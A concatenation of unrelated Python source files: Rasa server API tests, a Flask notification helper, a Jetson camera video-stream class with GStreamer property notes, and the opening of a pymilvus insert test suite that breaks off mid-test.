assert last_slot_set_event["name"] == entity_name
assert last_slot_set_event["value"] == entity_value
async def test_trigger_intent_with_missing_intent_name(rasa_app: SanicASGITestClient):
test_sender = "test_trigger_intent_with_missing_action_name"
data = {"wrong-key": "greet"}
_, response = await rasa_app.post(
f"/conversations/{test_sender}/trigger_intent", json=data
)
assert response.status == HTTPStatus.BAD_REQUEST
async def test_trigger_intent_with_not_existing_intent(rasa_app: SanicASGITestClient):
test_sender = "test_trigger_intent_with_not_existing_intent"
await _create_tracker_for_sender(rasa_app, test_sender)
data = {INTENT_NAME_KEY: "ka[pa[opi[opj[oj[oija"}
_, response = await rasa_app.post(
f"/conversations/{test_sender}/trigger_intent", json=data
)
assert response.status == HTTPStatus.NOT_FOUND
@pytest.mark.parametrize(
"input_channels, output_channel_to_use, expected_channel",
[
(None, "slack", CollectingOutputChannel),
([], None, CollectingOutputChannel),
([RestInput()], "slack", CollectingOutputChannel),
([RestInput()], "rest", CollectingOutputChannel),
(
[RestInput(), SlackInput("test", slack_signing_secret="foobar")],
"slack",
SlackBot,
),
],
)
def test_get_output_channel(
input_channels: List[Text], output_channel_to_use: Text, expected_channel: Type
):
request = MagicMock()
app = MagicMock()
app.input_channels = input_channels
request.app = app
request.args = {"output_channel": output_channel_to_use}
actual = rasa.server._get_output_channel(request, None)
assert isinstance(actual, expected_channel)
@pytest.mark.parametrize(
"input_channels, expected_channel",
[
([], CollectingOutputChannel),
([RestInput()], CollectingOutputChannel),
([RestInput(), SlackInput("test", slack_signing_secret="foobar")], SlackBot),
],
)
def test_get_latest_output_channel(input_channels: List[Text], expected_channel: Type):
request = MagicMock()
app = MagicMock()
app.input_channels = input_channels
request.app = app
request.args = {"output_channel": "latest"}
tracker = DialogueStateTracker.from_events(
"default", [UserUttered("text", input_channel="slack")]
)
actual = rasa.server._get_output_channel(request, tracker)
assert isinstance(actual, expected_channel)
def test_app_when_app_has_no_input_channels():
request = MagicMock()
class NoInputChannels:
pass
request.app = NoInputChannels()
actual = rasa.server._get_output_channel(
request, DialogueStateTracker.from_events("default", [])
)
assert isinstance(actual, CollectingOutputChannel)
@pytest.mark.parametrize(
"conversation_events,until_time,fetch_all_sessions,expected",
# conversation with one session
[
(
[
ActionExecuted(ACTION_SESSION_START_NAME),
SessionStarted(),
UserUttered("hi", {"name": "greet"}),
ActionExecuted("utter_greet"),
],
None,
True,
"""version: "3.0"
stories:
- story: some-conversation-ID
steps:
- intent: greet
user: |-
hi
- action: utter_greet""",
),
# conversation with multiple sessions
(
[
ActionExecuted(ACTION_SESSION_START_NAME),
SessionStarted(),
UserUttered("hi", {"name": "greet"}),
ActionExecuted("utter_greet"),
ActionExecuted(ACTION_SESSION_START_NAME),
SessionStarted(),
UserUttered("bye bye", {"name": "goodbye"}),
ActionExecuted("utter_goodbye"),
],
None,
True,
"""version: "3.0"
stories:
- story: some-conversation-ID, story 1
steps:
- intent: greet
user: |-
hi
- action: utter_greet
- story: some-conversation-ID, story 2
steps:
- intent: goodbye
user: |-
bye bye
- action: utter_goodbye""",
),
# conversation with multiple sessions, but setting `all_sessions=false`
# means only the last one is returned
(
[
ActionExecuted(ACTION_SESSION_START_NAME),
SessionStarted(),
UserUttered("hi", {"name": "greet"}),
ActionExecuted("utter_greet"),
ActionExecuted(ACTION_SESSION_START_NAME),
SessionStarted(),
UserUttered("bye bye", {"name": "goodbye"}),
ActionExecuted("utter_goodbye"),
],
None,
False,
"""version: "3.0"
stories:
- story: some-conversation-ID
steps:
- intent: goodbye
user: |-
bye bye
- action: utter_goodbye""",
),
# the default for `all_sessions` is `false` - this test checks that
# only the latest session is returned in that case
(
[
ActionExecuted(ACTION_SESSION_START_NAME),
SessionStarted(),
UserUttered("hi", {"name": "greet"}),
ActionExecuted("utter_greet"),
ActionExecuted(ACTION_SESSION_START_NAME),
SessionStarted(),
UserUttered("bye bye", {"name": "goodbye"}),
ActionExecuted("utter_goodbye"),
],
None,
None,
"""version: "3.0"
stories:
- story: some-conversation-ID
steps:
- intent: goodbye
user: |-
bye bye
- action: utter_goodbye""",
),
# `until` parameter means only the first session is returned
(
[
ActionExecuted(ACTION_SESSION_START_NAME, timestamp=1),
SessionStarted(timestamp=2),
UserUttered("hi", {"name": "greet"}, timestamp=3),
ActionExecuted("utter_greet", timestamp=4),
ActionExecuted(ACTION_SESSION_START_NAME, timestamp=5),
SessionStarted(timestamp=6),
UserUttered("bye bye", {"name": "goodbye"}, timestamp=7),
ActionExecuted("utter_goodbye", timestamp=8),
],
4,
True,
"""version: "3.0"
stories:
- story: some-conversation-ID
steps:
- intent: greet
user: |-
hi
- action: utter_greet""",
),
# empty conversation
([], None, True, 'version: "3.0"'),
# Conversation with slot
(
[
ActionExecuted(ACTION_SESSION_START_NAME),
SessionStarted(),
UserUttered("hi", {"name": "greet"}),
ActionExecuted("utter_greet"),
SlotSet(REQUESTED_SLOT, "some value"),
],
None,
True,
"""version: "3.0"
stories:
- story: some-conversation-ID
steps:
- intent: greet
user: |-
hi
- action: utter_greet
- slot_was_set:
- requested_slot: some value""",
),
],
)
async def test_get_story(
rasa_app: SanicASGITestClient,
monkeypatch: MonkeyPatch,
conversation_events: List[Event],
until_time: Optional[float],
fetch_all_sessions: Optional[bool],
expected: Text,
):
conversation_id = "some-conversation-ID"
tracker_store = InMemoryTrackerStore(Domain.empty())
tracker = DialogueStateTracker.from_events(conversation_id, conversation_events)
tracker_store.save(tracker)
monkeypatch.setattr(rasa_app.sanic_app.agent, "tracker_store", tracker_store)
monkeypatch.setattr(
rasa_app.sanic_app.agent.processor, "tracker_store", tracker_store
)
url = f"/conversations/{conversation_id}/story?"
query = {}
if fetch_all_sessions is not None:
query["all_sessions"] = fetch_all_sessions
if until_time is not None:
query["until"] = until_time
_, response = await rasa_app.get(url + urllib.parse.urlencode(query))
assert response.status == HTTPStatus.OK
assert response.content.decode().strip() == expected
async def test_get_story_without_conversation_id(
rasa_app: SanicASGITestClient, monkeypatch: MonkeyPatch
):
conversation_id = "some-conversation-ID"
url = f"/conversations/{conversation_id}/story"
_, response = await rasa_app.get(url)
assert response.status == HTTPStatus.NOT_FOUND
assert response.json["message"] == "Conversation ID not found."
async def test_get_story_does_not_update_conversation_session(
rasa_app: SanicASGITestClient, monkeypatch: MonkeyPatch
):
conversation_id = "some-conversation-ID"
# domain with short session expiration time of one second
domain = Domain.empty()
domain.session_config = SessionConfig(
session_expiration_time=1 / 60, carry_over_slots=True
)
monkeypatch.setattr(rasa_app.sanic_app.agent.processor, "domain", domain)
# conversation contains one session that has expired
now = time.time()
conversation_events = [
ActionExecuted(ACTION_SESSION_START_NAME, timestamp=now - 10),
SessionStarted(timestamp=now - 9),
UserUttered("hi", {"name": "greet"}, timestamp=now - 8),
ActionExecuted("utter_greet", timestamp=now - 7),
]
tracker = DialogueStateTracker.from_events(conversation_id, conversation_events)
# the conversation session has expired
assert rasa_app.sanic_app.agent.processor._has_session_expired(tracker)
tracker_store = InMemoryTrackerStore(domain)
tracker_store.save(tracker)
monkeypatch.setattr(rasa_app.sanic_app.agent, "tracker_store", tracker_store)
monkeypatch.setattr(
rasa_app.sanic_app.agent.processor, "tracker_store", tracker_store
)
_, response = await rasa_app.get(f"/conversations/{conversation_id}/story")
assert response.status == HTTPStatus.OK
# expected story is returned
assert (
response.content.decode().strip()
== """version: "3.0"
stories:
- story: some-conversation-ID
steps:
- intent: greet
user: |-
hi
- action: utter_greet"""
)
# the tracker has the same number of events as were initially added
assert len(tracker.events) == len(conversation_events)
# the last event is still the same as before
assert tracker.events[-1].timestamp == conversation_events[-1].timestamp
@pytest.mark.parametrize(
"initial_tracker_events,events_to_append,expected_events",
[
(
# the tracker is initially empty, and no events are appended
# so we'll just expect the session start sequence with an `action_listen`
[],
[],
[
ActionExecuted(ACTION_SESSION_START_NAME),
SessionStarted(),
ActionExecuted(ACTION_LISTEN_NAME),
],
),
(
# the tracker is initially empty, and a user utterance is appended
# we expect a tracker with a session start sequence and a user utterance
[],
[UserUttered("/greet", {"name": "greet", "confidence": 1.0})],
[
ActionExecuted(ACTION_SESSION_START_NAME),
SessionStarted(),
ActionExecuted(ACTION_LISTEN_NAME),
UserUttered("/greet", {"name": "greet", "confidence": 1.0}),
],
),
(
# the tracker is initially empty, and a session start sequence is appended
# we'll just expect the session start sequence
[],
[ActionExecuted(ACTION_SESSION_START_NAME), SessionStarted()],
[ActionExecuted(ACTION_SESSION_START_NAME), SessionStarted()],
),
(
# the tracker already contains some events - we can simply append events
[
ActionExecuted(ACTION_LISTEN_NAME),
UserUttered("/greet", {"name": "greet", "confidence": 1.0}),
],
[ActionExecuted("utter_greet")],
[
ActionExecuted(ACTION_LISTEN_NAME),
UserUttered("/greet", {"name": "greet", "confidence": 1.0}),
ActionExecuted("utter_greet"),
],
),
],
)
async def test_update_conversation_with_events(
rasa_app: SanicASGITestClient,
monkeypatch: MonkeyPatch,
initial_tracker_events: List[Event],
events_to_append: List[Event],
expected_events: List[Event],
):
conversation_id = "some-conversation-ID"
agent = rasa_app.sanic_app.agent
tracker_store = agent.tracker_store
domain = agent.domain
model_id = agent.model_id
if initial_tracker_events:
tracker = agent.processor.get_tracker(conversation_id)
tracker.update_with_events(initial_tracker_events, domain)
tracker_store.save(tracker)
fetched_tracker = await rasa.server.update_conversation_with_events(
conversation_id, agent.processor, domain, events_to_append
)
assert list(fetched_tracker.events) == with_model_ids(expected_events, model_id)
|
__init__.py | """Helper module for sending notifications, depending on the user preference"""
import logging
import threading
from typing import Sequence
from flask import copy_current_request_context
from flask_mail import Message
from sqlalchemy.exc import IntegrityError
from innopoints.extensions import db, mail
from innopoints.models import Notification, NotificationType, Account, type_to_group
from .content import get_content
from .push import push
log = logging.getLogger(__name__)
def notify(recipient_email: str, notification_type: NotificationType, payload=None):
"""Sends a notification to the specified user."""
notification_group = type_to_group[notification_type]
channel = db.session.query(
# pylint: disable=unsubscriptable-object
Account.notification_settings[notification_group]
).filter(Account.email == recipient_email).scalar()
if channel == 'email':
message_content = get_content(notification_type, payload)
body = ''.join(map(str, message_content['body']))
with open('templates/email.html') as email_template:
message = Message(message_content['title'],
recipients=[recipient_email],
html=email_template.read().format(header=message_content['title'],
body=body))
@copy_current_request_context
def send_mail_async(message):
mail.send(message)
mail_thread = threading.Thread(name='mail_sender', target=send_mail_async, args=(message,))
mail_thread.start()
log.info(f'Sent an email to {recipient_email}')
elif channel == 'push':
push(recipient_email, notification_type, payload)
notification = Notification(
recipient_email=recipient_email,
type=notification_type,
payload=payload,
)
try:
db.session.add(notification)
db.session.commit()
log.info(f'Sent a notification to {recipient_email}')
return notification
except IntegrityError as exc:
db.session.rollback()
log.exception(exc)
return None
def notify_all(recipients: Sequence[Account], notification_type: str, payload=None):
"""Sends the same notification to each of the emails in the given list."""
for recipient in recipients:
notify(recipient.email, notification_type, payload)
def remove_notifications(payload: dict):
"""Deletes notifications whose payload has any of the entries in the given payload."""
deleted = 0
for key, value in payload.items():
query = Notification.query.filter(Notification.payload.isnot(None))
query = query.filter(
# pylint: disable=unsubscriptable-object
Notification.payload[key].astext == str(value)
)
deleted += query.delete(synchronize_session=False)
try:
db.session.commit()
log.debug(f'Deleted {deleted} notification(s) matching "{payload}"')
except IntegrityError as exc:
db.session.rollback()
log.exception(exc)
return deleted
|
jetsonvideostream.py | # import the necessary packages
from threading import Thread
import cv2
# Raspberry Pi Camera V2:
# Full resolution: (3280, 2646), FOV: 62.2 deg H, 48.8 deg V
# GStreamer supported full resolution: (3264, 2464), 21 FPS, FOV: 62 deg H, 48.8 deg V
# Preferred resolution: (3264,1848), 28FPS, FOV: 62 deg H, 37 deg V
class JetsonVideoStream:
def __init__(self, captureResolution=(3264,1848), outputResolution=(960, 460), frameRate=28, flipMethod=0,
exposureTimeInMiliseconds=None, gain=None, digitalGain=None, whiteBalanceMode=1,
name="JetsonVideoStream"):
# set up the gstreamer string used to set up the camera on the jetson board
# exposureTime - in miliseconds (0.013 to 683)
# gain ( 1.000000 to 10.625000)
captureWidth, captureHeight = captureResolution
width, height = outputResolution
exposureTimeString = ''
gainString = ''
if exposureTimeInMiliseconds is not None:
toNanoseconds = int(exposureTimeInMiliseconds * 1000000)
exposureTimeString = 'exposuretimerange="%d %d" ' % (toNanoseconds, toNanoseconds)
gainString = ''
if gain is not None:
gainString = 'gainrange="%.3f %.3f" ' % (gain, gain)
# ispdigitalgainrange - unknown parameter (digital gain), maybe important
# some more options: http://www.neko.ne.jp/~freewing/raspberry_pi/nvidia_jetson_nano_setup_raspberry_pi_camera_module_v2/
awblock = False
aelock = False
autoWhiteBalanceLockString = 'awblock=true ' if awblock is True else ''
autoExposureLockString = 'aelock=true ' if aelock is True else ''
whiteBalanceModeString = 'wbmode=%d ' % whiteBalanceMode if whiteBalanceMode is not 1 else '' # 0 - auto (?)
cameraString = ('nvarguscamerasrc %s%s%s! '
'video/x-raw(memory:NVMM), '
'width=(int)%d, height=(int)%d, '
'format=(string)NV12, framerate=(fraction)%d/1 ! '
'nvvidconv flip-method=%d ! '
'video/x-raw, width=(int)%d, height=(int)%d, '
'format=(string)BGRx ! '
'videoconvert ! video/x-raw, format=(string)BGR! appsink ' # OR format=(string)I420
'wait-on-eos=false drop=true max-buffers=1'
# 'wait-on-eos=false drop=true max-buffers=1 -e -vvv'
% (whiteBalanceModeString, gainString, exposureTimeString,
captureWidth, captureHeight, frameRate, flipMethod, width, height) )
print ('OpenCV Gstreamer pipeline input string: \n', cameraString)
# Original string from pull request:
# cameraString = ('nvcamerasrc ! '
# 'video/x-raw(memory:NVMM), '
# 'width=(int)2592, height=(int)1458, '
# 'format=(string)I420, framerate=(fraction)30/1 ! '
# 'nvvidconv ! '
# 'video/x-raw, width=(int){}, height=(int){}, '
# 'format=(string)BGRx ! '
# 'videoconvert ! appsink').format(width, height)
# initialize the video camera stream using gstreamer and read
# the first frame from the stream
self.stream = cv2.VideoCapture(cameraString, cv2.CAP_GSTREAMER)
(self.grabbed, self.frame) = self.stream.read()
# initialize the thread name
self.name = name
# initialize the variable used to indicate if the thread should
# be stopped
self.stopped = False
def start(self):
# start the thread to read frames from the video stream
t = Thread(target=self.update, name=self.name, args=())
t.daemon = True
t.start()
return self
def update(self):
# keep looping infinitely until the thread is stopped
while True:
# if the thread indicator variable is set, stop the thread
if self.stopped:
self.stream.release() # TODO: only if it is necessary to release after stopping, can prevent resource blocking
return
# otherwise, read the next frame from the stream
(self.grabbed, self.frame) = self.stream.read()
def read(self):
# return the frame most recently read
return self.frame
def stop(self):
# indicate that the thread should be stopped
self.stopped = True
# nvarguscamerasrc parameters description
'''
jetson@jetson-desktop:~$ gst-inspect-1.0 nvarguscamerasrc
Factory Details:
Rank primary (256)
Long-name NvArgusCameraSrc
Klass Video/Capture
Description nVidia ARGUS Camera Source
Author Viranjan Pagar <vpagar@nvidia.com>, Amit Pandya <apandya@nvidia.com>
Plugin Details:
Name nvarguscamerasrc
Description nVidia ARGUS Source Component
Filename /usr/lib/aarch64-linux-gnu/gstreamer-1.0/libgstnvarguscamerasrc.so
Version 1.0.0
License Proprietary
Source module nvarguscamerasrc
Binary package NvARGUSCameraSrc
Origin URL http://nvidia.com/
GObject
+----GInitiallyUnowned
+----GstObject
+----GstElement
+----GstBaseSrc
+----GstNvArgusCameraSrc
Pad Templates:
SRC template: 'src'
Availability: Always
Capabilities:
video/x-raw(memory:NVMM)
width: [ 1, 2147483647 ]
height: [ 1, 2147483647 ]
format: { (string)NV12 }
framerate: [ 0/1, 120/1 ]
Element has no clocking capabilities.
Element has no URI handling capabilities.
Pads:
SRC: 'src'
Pad Template: 'src'
Element Properties:
name : The name of the object
flags: readable, writable
String. Default: "nvarguscamerasrc0"
parent : The parent of the object
flags: readable, writable
Object of type "GstObject"
blocksize : Size in bytes to read per buffer (-1 = default)
flags: readable, writable
Unsigned Integer. Range: 0 - 4294967295 Default: 4096
num-buffers : Number of buffers to output before sending EOS (-1 = unlimited)
flags: readable, writable
Integer. Range: -1 - 2147483647 Default: -1
typefind : Run typefind before negotiating (deprecated, non-functional)
flags: readable, writable, deprecated
Boolean. Default: false
do-timestamp : Apply current stream time to buffers
flags: readable, writable
Boolean. Default: true
silent : Produce verbose output ?
flags: readable, writable
Boolean. Default: true
timeout : timeout to capture in seconds (Either specify timeout or num-buffers, not both)
flags: readable, writable
Unsigned Integer. Range: 0 - 2147483647 Default: 0
wbmode : White balance affects the color temperature of the photo
flags: readable, writable
Enum "GstNvArgusCamWBMode" Default: 1, "auto"
(0): off - GST_NVCAM_WB_MODE_OFF
(1): auto - GST_NVCAM_WB_MODE_AUTO
(2): incandescent - GST_NVCAM_WB_MODE_INCANDESCENT
(3): fluorescent - GST_NVCAM_WB_MODE_FLUORESCENT
(4): warm-fluorescent - GST_NVCAM_WB_MODE_WARM_FLUORESCENT
(5): daylight - GST_NVCAM_WB_MODE_DAYLIGHT
(6): cloudy-daylight - GST_NVCAM_WB_MODE_CLOUDY_DAYLIGHT
(7): twilight - GST_NVCAM_WB_MODE_TWILIGHT
(8): shade - GST_NVCAM_WB_MODE_SHADE
(9): manual - GST_NVCAM_WB_MODE_MANUAL
saturation : Property to adjust saturation value
flags: readable, writable
Float. Range: 0 - 2 Default: 1
sensor-id : Set the id of camera sensor to use. Default 0.
flags: readable, writable
Integer. Range: 0 - 255 Default: 0
exposuretimerange : Property to adjust exposure time range in nanoseconds
Use string with values of Exposure Time Range (low, high)
in that order, to set the property.
eg: exposuretimerange="34000 358733000"
flags: readable, writable
String. Default: null
gainrange : Property to adjust gain range
Use string with values of Gain Time Range (low, high)
in that order, to set the property.
eg: gainrange="1 16"
flags: readable, writable
String. Default: null
ispdigitalgainrange : Property to adjust digital gain range
Use string with values of ISP Digital Gain Range (low, high)
in that order, to set the property.
eg: ispdigitalgainrange="1 8"
flags: readable, writable
String. Default: null
tnr-strength : property to adjust temporal noise reduction strength
flags: readable, writable
Float. Range: -1 - 1 Default: -1
tnr-mode : property to select temporal noise reduction mode
flags: readable, writable
Enum "GstNvArgusCamTNRMode" Default: 1, "NoiseReduction_Fast"
(0): NoiseReduction_Off - GST_NVCAM_NR_OFF
(1): NoiseReduction_Fast - GST_NVCAM_NR_FAST
(2): NoiseReduction_HighQuality - GST_NVCAM_NR_HIGHQUALITY
ee-mode : property to select edge enhnacement mode
flags: readable, writable
Enum "GstNvArgusCamEEMode" Default: 1, "EdgeEnhancement_Fast"
(0): EdgeEnhancement_Off - GST_NVCAM_EE_OFF
(1): EdgeEnhancement_Fast - GST_NVCAM_EE_FAST
(2): EdgeEnhancement_HighQuality - GST_NVCAM_EE_HIGHQUALITY
ee-strength : property to adjust edge enhancement strength
flags: readable, writable
Float. Range: -1 - 1 Default: -1
aeantibanding : property to set the auto exposure antibanding mode
flags: readable, writable
Enum "GstNvArgusCamAeAntiBandingMode" Default: 1, "AeAntibandingMode_Auto"
(0): AeAntibandingMode_Off - GST_NVCAM_AEANTIBANDING_OFF
(1): AeAntibandingMode_Auto - GST_NVCAM_AEANTIBANDING_AUTO
(2): AeAntibandingMode_50HZ - GST_NVCAM_AEANTIBANDING_50HZ
(3): AeAntibandingMode_60HZ - GST_NVCAM_AEANTIBANDING_60HZ
exposurecompensation: property to adjust exposure compensation
flags: readable, writable
Float. Range: -2 - 2 Default: 0
aelock : set or unset the auto exposure lock
flags: readable, writable
Boolean. Default: false
awblock : set or unset the auto white balance lock
flags: readable, writable
Boolean. Default: false
maxperf : set or unset the max performace
flags: readable, writable
Boolean. Default: false
bufapi-version : set to use new Buffer API
flags: readable, writable
Boolean. Default: false
''' |
test_insert.py | import threading
import numpy as np
import pandas as pd
import pytest
from pymilvus_orm import Index
from base.client_base import TestcaseBase
from utils.util_log import test_log as log
from common import common_func as cf
from common import common_type as ct
from common.common_type import CaseLabel, CheckTasks
prefix = "insert"
exp_name = "name"
exp_schema = "schema"
exp_num = "num_entities"
exp_primary = "primary"
default_schema = cf.gen_default_collection_schema()
default_binary_schema = cf.gen_default_binary_collection_schema()
default_index_params = {"index_type": "IVF_SQ8", "metric_type": "L2", "params": {"nlist": 64}}
default_binary_index_params = {"index_type": "BIN_IVF_FLAT", "metric_type": "JACCARD", "params": {"nlist": 64}}
class TestInsertParams(TestcaseBase):
""" Test case of Insert interface """
@pytest.fixture(scope="function", params=ct.get_invalid_strs)
def get_non_data_type(self, request):
if isinstance(request.param, list) or request.param is None:
pytest.skip("list and None type is valid data type")
yield request.param
@pytest.fixture(scope="module", params=ct.get_invalid_strs)
def get_invalid_field_name(self, request):
if isinstance(request.param, (list, dict)):
pytest.skip()
yield request.param
@pytest.mark.tags(CaseLabel.L0)
def test_insert_dataframe_data(self):
"""
target: test insert DataFrame data
method: 1.create 2.insert dataframe data
expected: assert num entities
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
df = cf.gen_default_dataframe_data(ct.default_nb)
mutation_res, _ = collection_w.insert(data=df)
assert mutation_res.insert_count == ct.default_nb
assert mutation_res.primary_keys == df[ct.default_int64_field_name].values.tolist()
assert collection_w.num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L0)
def test_insert_list_data(self):
"""
target: test insert list-like data
method: 1.create 2.insert list data
expected: assert num entities
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
data = cf.gen_default_list_data(ct.default_nb)
mutation_res, _ = collection_w.insert(data=data)
assert mutation_res.insert_count == ct.default_nb
assert mutation_res.primary_keys == data[0]
assert collection_w.num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L1)
def test_insert_non_data_type(self, get_non_data_type):
"""
target: test insert with non-dataframe, non-list data
method: insert with data (non-dataframe and non-list type)
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
error = {ct.err_code: 0, ct.err_msg: "Data type is not support"}
collection_w.insert(data=get_non_data_type, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L0)
@pytest.mark.parametrize("data", [[], pd.DataFrame()])
def test_insert_empty_data(self, data):
"""
target: test insert empty data
method: insert empty
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
error = {ct.err_code: 0, ct.err_msg: "The data fields number is not match with schema"}
collection_w.insert(data=data, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_dataframe_only_columns(self):
"""
target: test insert with dataframe just columns
method: dataframe just have columns
expected: num entities is zero
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
columns = [ct.default_int64_field_name, ct.default_float_vec_field_name]
df = pd.DataFrame(columns=columns)
error = {ct.err_code: 0, ct.err_msg: "Cannot infer schema from empty dataframe"}
collection_w.insert(data=df, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_empty_field_name_dataframe(self):
"""
target: test insert empty field name df
method: dataframe with empty column
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
df = cf.gen_default_dataframe_data(10)
df.rename(columns={ct.default_int64_field_name: ' '}, inplace=True)
error = {ct.err_code: 0, ct.err_msg: "The types of schema and data do not match"}
collection_w.insert(data=df, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_invalid_field_name_dataframe(self, get_invalid_field_name):
"""
target: test insert with invalid dataframe data
method: insert with invalid field name dataframe
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
df = cf.gen_default_dataframe_data(10)
df.rename(columns={ct.default_int64_field_name: get_invalid_field_name}, inplace=True)
error = {ct.err_code: 0, ct.err_msg: "The types of schema and data do not match"}
collection_w.insert(data=df, check_task=CheckTasks.err_res, check_items=error)
def test_insert_dataframe_index(self):
"""
target: test insert dataframe with index
method: insert dataframe with index
expected: todo
"""
pass
@pytest.mark.tags(CaseLabel.L1)
def test_insert_none(self):
"""
target: test insert None
method: data is None
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
mutation_res, _ = collection_w.insert(data=None)
assert mutation_res.insert_count == 0
assert len(mutation_res.primary_keys) == 0
assert collection_w.is_empty
assert collection_w.num_entities == 0
@pytest.mark.tags(CaseLabel.L1)
def test_insert_numpy_data(self):
"""
target: test insert numpy.ndarray data
method: 1.create by schema 2.insert data
expected: assert num_entities
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
data = cf.gen_numpy_data(nb=10)
error = {ct.err_code: 0, ct.err_msg: "Data type not support numpy.ndarray"}
collection_w.insert(data=data, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_binary_dataframe(self):
"""
target: test insert binary dataframe
method: 1. create by schema 2. insert dataframe
expected: assert num_entities
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name, schema=default_binary_schema)
df, _ = cf.gen_default_binary_dataframe_data(ct.default_nb)
mutation_res, _ = collection_w.insert(data=df)
assert mutation_res.insert_count == ct.default_nb
assert mutation_res.primary_keys == df[ct.default_int64_field_name].values.tolist()
assert collection_w.num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L0)
def test_insert_binary_data(self):
"""
target: test insert list-like binary data
method: 1. create by schema 2. insert data
expected: assert num_entities
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name, schema=default_binary_schema)
data, _ = cf.gen_default_binary_list_data(ct.default_nb)
mutation_res, _ = collection_w.insert(data=data)
assert mutation_res.insert_count == ct.default_nb
assert mutation_res.primary_keys == data[0]
assert collection_w.num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L0)
def test_insert_single(self):
"""
target: test insert single
method: insert one entity
expected: verify num
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
data = cf.gen_default_list_data(nb=1)
mutation_res, _ = collection_w.insert(data=data)
assert mutation_res.insert_count == 1
assert mutation_res.primary_keys == data[0]
assert collection_w.num_entities == 1
@pytest.mark.tags(CaseLabel.L1)
@pytest.mark.xfail(reason="exception not MilvusException")
def test_insert_dim_not_match(self):
"""
target: test insert with not match dim
method: insert data dim not equal to schema dim
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
dim = 129
df = cf.gen_default_dataframe_data(ct.default_nb, dim=dim)
error = {ct.err_code: 1,
ct.err_msg: f'Collection field dim is {ct.default_dim}, but entities field dim is {dim}'}
collection_w.insert(data=df, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
@pytest.mark.xfail(reason="exception not MilvusException")
def test_insert_binary_dim_not_match(self):
"""
target: test insert binary with dim not match
method: insert binary data dim not equal to schema
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name, schema=default_binary_schema)
dim = 120
df, _ = cf.gen_default_binary_dataframe_data(ct.default_nb, dim=dim)
error = {ct.err_code: 1,
ct.err_msg: f'Collection field dim is {ct.default_dim}, but entities field dim is {dim}'}
collection_w.insert(data=df, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_field_name_not_match(self):
"""
target: test insert field name not match
method: data field name not match schema
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
df = cf.gen_default_dataframe_data(10)
df.rename(columns={ct.default_float_field_name: "int"}, inplace=True)
error = {ct.err_code: 0, ct.err_msg: 'The types of schema and data do not match'}
collection_w.insert(data=df, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_field_value_not_match(self):
"""
target: test insert data value not match
method: insert data value type not match schema
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
nb = 10
df = cf.gen_default_dataframe_data(nb)
new_float_value = pd.Series(data=[float(i) for i in range(nb)], dtype="float64")
df.iloc[:, 1] = new_float_value
error = {ct.err_code: 0, ct.err_msg: 'The types of schema and data do not match'}
collection_w.insert(data=df, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_value_less(self):
"""
target: test insert value less than other
method: int field value less than vec-field value
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
nb = 10
int_values = [i for i in range(nb - 1)]
float_values = [np.float32(i) for i in range(nb)]
float_vec_values = cf.gen_vectors(nb, ct.default_dim)
data = [int_values, float_values, float_vec_values]
error = {ct.err_code: 0, ct.err_msg: 'Arrays must all be same length.'}
collection_w.insert(data=data, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_vector_value_less(self):
"""
target: test insert vector value less than other
method: vec field value less than int field
expected: todo
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
nb = 10
int_values = [i for i in range(nb)]
float_values = [np.float32(i) for i in range(nb)]
float_vec_values = cf.gen_vectors(nb - 1, ct.default_dim)
data = [int_values, float_values, float_vec_values]
error = {ct.err_code: 0, ct.err_msg: 'Arrays must all be same length.'}
collection_w.insert(data=data, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_fields_more(self):
"""
target: test insert with fields more
method: field more than schema fields
expected: todo
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
df = cf.gen_default_dataframe_data(ct.default_nb)
new_values = [i for i in range(ct.default_nb)]
